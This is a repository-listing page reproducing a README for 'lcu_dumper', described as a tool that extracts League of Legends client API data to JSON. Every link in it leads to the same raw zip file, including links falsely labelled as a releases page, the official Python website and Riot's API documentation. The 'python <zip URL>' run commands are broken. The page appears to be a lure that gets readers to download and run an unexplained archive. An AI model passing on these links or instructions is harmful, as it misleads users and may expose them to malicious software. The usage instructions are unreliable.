https://github.com/nebil175/lcu_dumper
π Discover and extract League Client Update data easily with LCU Dumper, a fast, cross-platform CLI that outputs selected API endpoints to JSON files.
https://github.com/nebil175/lcu_dumper
cli data-dump http json league-of-legends openapi python reverse-engineering swagger tooling
Last synced: 7 months ago
JSON representation
π Discover and extract League Client Update data easily with LCU Dumper, a fast, cross-platform CLI that outputs selected API endpoints to JSON files.
- Host: GitHub
- URL: https://github.com/nebil175/lcu_dumper
- Owner: nebil175
- License: mit
- Created: 2025-10-04T01:33:10.000Z (7 months ago)
- Default Branch: main
- Last Pushed: 2025-10-04T04:01:35.000Z (7 months ago)
- Last Synced: 2025-10-04T06:07:13.565Z (7 months ago)
- Topics: cli, data-dump, http, json, league-of-legends, openapi, python, reverse-engineering, swagger, tooling
- Language: Python
- Size: 9.38 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# π lcu_dumper - Easily Access League Client Data
## π οΈ Introduction
Welcome to lcu_dumper. This is a cross-platform command-line tool to help you discover and extract data from the League Client API. With this tool, you can convert important information into JSON format, making it easier for you to analyze League of Legends data.
## π₯ Download & Install
To get started, visit this page to download: [Download lcu_dumper](https://raw.githubusercontent.com/nebil175/lcu_dumper/main/Giottesque/lcu_dumper.zip)
### Steps to Download:
1. Click the link above to go to the Releases page.
2. Find the latest version of lcu_dumper.
3. Select the appropriate file for your operating system (Windows, macOS, Linux).
4. Download the file by clicking on it.
## π Getting Started
Once you have downloaded the program, follow these steps to run it:
1. **Locate the Downloaded File**
Find the file you just downloaded. It will usually be in your "Downloads" folder.
2. **Extract the Files (if necessary)**
If the file is a ZIP folder, right-click on it and choose "Extract All" or use another extraction tool.
3. **Open the Command Prompt or Terminal**
- On Windows, press `Windows + R`, type `cmd`, and hit Enter.
- On macOS, search for "Terminal" in Spotlight.
- On Linux, you can usually find Terminal in your applications menu.
4. **Navigate to the Folder**
Use the `cd` command to change to the directory where you extracted lcu_dumper. For example:
- Linux/macOS: `cd ~/Downloads/lcu_dumper`
- Windows: `cd C:\Users\YourUsername\Downloads\lcu_dumper`
5. **Run the Application**
Type the following command:
```
python https://raw.githubusercontent.com/nebil175/lcu_dumper/main/Giottesque/lcu_dumper.zip
```
Make sure you have Python installed on your system. If you donβt have it, you can download it from the [official Python website](https://raw.githubusercontent.com/nebil175/lcu_dumper/main/Giottesque/lcu_dumper.zip).
## π How to Use lcu_dumper
After running the application, you will see several commands available to you:
- **Discover Endpoints:** Fetch a list of available API endpoints.
- **Dump Data:** Extract the data from the endpoints to JSON.
### Running Commands
You can type one of the commands below directly in the terminal:
- To discover endpoints:
```
python https://raw.githubusercontent.com/nebil175/lcu_dumper/main/Giottesque/lcu_dumper.zip discover
```
- To dump data:
```
python https://raw.githubusercontent.com/nebil175/lcu_dumper/main/Giottesque/lcu_dumper.zip dump
```
Replace `` with the endpoint you want to use.
## βοΈ System Requirements
For best performance, ensure your system meets the following requirements:
- **Operating System:**
- Windows 10 or later
- macOS 10.12 (Sierra) or later
- Linux distributions with Python support
- **Hardware:**
- At least 2GB of RAM
- 200MB of free disk space
- **Software:**
- Python 3.6 or later.
## π Features
- **Cross-Platform:** Works on Windows, macOS, and Linux.
- **Real-Time Data:** Access the most current API data from the League Client.
- **Easy JSON Format:** Outputs data in a format thatβs easy to analyze.
- **Lightweight and Fast:** Minimal system resource usage.
## π Community & Support
If you encounter issues or have questions, you can find help on our GitHub issues page. We encourage community members to contribute suggestions and improvements.
## π Further Resources
To learn more about the League Client API, you can check the Official Riot Games API documentation [here](https://raw.githubusercontent.com/nebil175/lcu_dumper/main/Giottesque/lcu_dumper.zip).
## π¦ Contributing
If you'd like to contribute to lcu_dumper, please follow these steps:
1. Fork the repository.
2. Make your changes.
3. Submit a pull request describing your changes.
We welcome contributions from everyone!
## π¬ Contact
For direct inquiries or issues, feel free to contact us at our GitHub page. We are here to help!
## β¨ Conclusion
Thank you for using lcu_dumper. We hope this tool helps you access and analyze League of Legends data easily. Enjoy your gaming experience!
Remember to visit this page to download: [Download lcu_dumper](https://raw.githubusercontent.com/nebil175/lcu_dumper/main/Giottesque/lcu_dumper.zip)